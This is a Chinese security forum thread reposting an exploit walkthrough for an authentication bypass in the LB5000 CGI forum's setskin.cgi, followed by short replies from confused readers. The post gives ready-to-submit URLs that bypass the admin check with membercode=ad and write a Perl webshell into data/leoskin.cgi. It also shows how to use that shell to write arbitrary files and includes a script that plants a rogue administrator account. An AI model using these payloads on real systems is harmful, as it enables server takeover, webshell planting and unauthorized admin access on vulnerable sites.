|
作者: alllony [alllony] 论坛用户 | 登录 |
PsKey<PsKey@hotmail.com> www.isgrey.com >>>Dedicated This Scrap To CaoJing<<< 涉及版本: LB5000XP所有版本,低于LB5000MX1.90(1.90已修复)所有版本 描述: LB是一款由www.leoboard.com开发和维护的源代码开放的cgi论坛;由于setskin.cgi存在管理员验证可绕开漏洞,可能导致非法用户控制论坛或以web权限在系统上执行任意命令 具体: LB论坛管理菜单中有个“管理区插件设定“的特殊功能,我们来看看它是如何对管理员进行验证的: ---------------------------------------------- 62 $inmembername = cookie("adminname"); 63 $inpassword = cookie("adminpass"); ... 68 &getmember("$inmembername"); 69 70 if (($membercode eq "ad") && ($inpassword eq $password) && (lc($inmembername) eq lc($membername))) { ... ---------------------------------------------- 其中getmember()是提取用户资料的一个函数,如果$inmembername用户存在它将返回此用户的密码、等级等信息,但要是这个用户不存在呢?呵呵,这下可就坏了,我们还是先来看看getmember()函数的相关部分: ---------------------------------------------- sub getmember { my $nametocheck = shift; ... my $filetoopen = "$lbdir" . "$memdir/$nametocheck.cgi"; ... if ((-e $filetoopen)&&($nametocheck !~ /^客人/)) {#如果用户存在就提取 ...#省略大量提取用户信息的代码 } else { $userregistered = "no"; }#如果不存在,仅仅返回这个 } ---------------------------------------------- 显然当我们直接请求setskin.cgi文件的时候$inmembername为空,也就是说&getmember("$inmembername")这行只会返回个$userregistered = "no";但setskin.cgi文件中$userregistered连影都没有,嘿嘿,问题出来了吧:&getmember("$inmembername")在setskin.cgi文件中“形同虚设“!!我们现在回过头看第70行的验证代码: ($inpassword eq $password)和(lc($inmembername) eq lc($membername))已经搞定了,因为它们都为空嘛;只有($membercode eq "ad")尚待搞定,要这是PHP程序你肯定会脱口而出我们直接指定“membercode=ad”啊!要命的是在这里你同样可以这样做,因为可爱的LB在setskin.cgi的开头有这么几行: ---------------------------------------------- @params = $query->param; foreach (@params) { $theparam = $query->param($_); $theparam =~ s/\@/\\\@/g; $theparam =~ s/\$/\\\$/g; $theparam = &unHTML("$theparam"); ${$_} = $theparam; ---------------------------------------------- 哈哈,爽吧,还等什么,直接提交如下URL进入: http://www.target.com/perl/lb5000mx/cgi-bin/setskin.cgi?membercode=ad Yeah,成功!! ...恩,请小声点,并没有结束,相反,攻击才开始。 上面这个是次要的,我们做不了什么,但我们绕开了验证,接下来的代码才有味道呢! ---------------------------------------------- 73 if ($action eq "process") { 74 75 76 $printme .= "1\;\n"; 77 78 $filetomake = "$lbdir" . "data/leoskin.cgi"; 79 80 open(FILE,">$filetomake"); 81 flock(FILE,2) if ($OS_USED eq "Unix"); 82 print FILE "$printme"; 83 close(FILE); ---------------------------------------------- 同样,这里的$printme也是我们手中控制的变量,可向data/leoskin.cgi覆盖式的写入东西,太好了,可写什么呢?要知道写这次会覆盖上一次写的,它可没耐心让你一行一行,而且,它还处理了一批有用字符: ---------------------------------------------- 52 $theparam =~ s/\@/\\\@/g; 53 $theparam =~ s/\$/\\\$/g; 54 $theparam = &unHTML("$theparam"); ... sub unHTML { my $text = shift; $text =~ s/<!--(.|\n)*-->//g; $text =~ s/\&/\&/g; $text =~ s/<script>/\<script\>/ig; $text =~ s/"/\"/g; $text =~ s/ / \ /g; $text =~ s/</\</g; $text =~ s/>/\>/g; $text =~ s/[\a\f\e\0\r\t]//isg; $text =~ s/documents.cookie/documents\&\#46\;cookie/isg; return $text; } ---------------------------------------------- My God,@&$”<>全军覆没,看来要动真格了,好,提交下面URL: http://www.target.com/perl/lb5000mx/cgi-bin/setskin.cgi?membercode=ad&action=process&printme=use%20CGI%20qw(:standard)%3bopen(SKY,param('a'))%3bprint%20SKY%20param('b')%3b 文件data/leoskin.cgi现在变成什么样了呢? ---------------------------------------------- use CGI qw(:standard);open(SKY,param('a'));print SKY param('b');$printme = "use CGI qw(:standard);open(SKY,param('a'));print SKY param('b');"; 1; ---------------------------------------------- 实质起作用的是: ---------------------------------------------- use CGI qw(:standard); open(SKY,param('a')); print SKY param('b'); ---------------------------------------------- 这个小webshell酷吧,它能做许多事哦,比如说: http://www.psych.com/perl/lb5000mx/cgi-bin/data/leoskin.cgi?a=>>E:/PsYch/PERL/LB5000MX/cgi-bin/data/hack.cgi&b=hahahaha 这样你就在E:/PsYch/PERL/LB5000MX/cgi-bin/data/目录下新写入了一个文件hack.cgi其内容为”hahahaha”;照同样的方法把下面这个文件一行一行(我没强迫你这样做,你可以写个小程序)写到对方web下一个目录: ---------------------------------------------- $lbpath="E:/PsYch/PERL/LB5000MX/cgi-bin/";####注意:此处请修改#### $ad="/hack.cgi"; opendir(DIR,"$lbpath"); @files=readdir(DIR); close(DIR); @memdir=grep(/^members/,@files); $hack=$lbpath.@memdir[0].$ad; open(HACK,">$hack"); print HACK "hack\thack\thack\tad\n"; ---------------------------------------------- 假使你把文件名定为 love.cgi,在/somepath目录下,提交 http://www.target.com/somepath/love.cgi 哦,一个hack/hack管理员诞生了!当然,上传个功能强使用方便的webshell上去也行,不过那是你自己的工作了! 谁看的明白这个呀!! 我实在看不明白! |
地主 发表时间: 04/12 15:26 |
回复: alllony [alllony] 论坛用户 | 登录 |
没有懂吗? |
B1层 发表时间: 04/12 18:07 |
回复: bking [bking] 版主 | 登录 |
我晕了 |
B2层 发表时间: 04/12 18:38 |
回复: alllony [alllony] 论坛用户 | 登录 |
晕什么呀!唉!看来没高手来看! |
B3层 发表时间: 04/12 18:43 |
回复: bking [bking] 版主 | 登录 |
呵呵 |
B4层 发表时间: 04/12 18:48 |
回复: sunshine [bysx] 论坛用户 | 登录 |
白痴!!!学perl去吧!!! |
B5层 发表时间: 04/12 19:25 |
回复: alllony [alllony] 论坛用户 | 登录 |
白痴!!!学perl去吧!!! 什么意思呀!!不要骂人! |
B6层 发表时间: 04/12 19:28 |
回复: junjuntop [junjuntop] 论坛用户 | 登录 |
这是个LB5000的漏洞 不过没等这个漏洞广泛流传就已经打上补丁了 现在很多论坛都升级了 基本上利用的可能性,很小 拿来学习还可以 |
B7层 发表时间: 04/12 19:29 |
回复: junjuntop [junjuntop] 论坛用户 | 登录 |
这是个LB5000的漏洞 不过没等这个漏洞广泛流传就已经打上补丁了 现在很多论坛都升级了 基本上利用的可能性,很小 拿来学习还可以 |
B8层 发表时间: 04/12 19:30 |
回复: alllony [alllony] 论坛用户 | 登录 |
我知道呀!但我就是想学习一下!你能教我吗? |
B9层 发表时间: 04/12 19:32 |
回复: junjuntop [junjuntop] 论坛用户 | 登录 |
恩? 文章里不是写的很清楚吗? |
B10层 发表时间: 04/12 19:58 |
回复: alllony [alllony] 论坛用户 | 登录 |
但我还有一点看不懂呀!所以才请教你! |
B11层 发表时间: 04/12 20:51 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号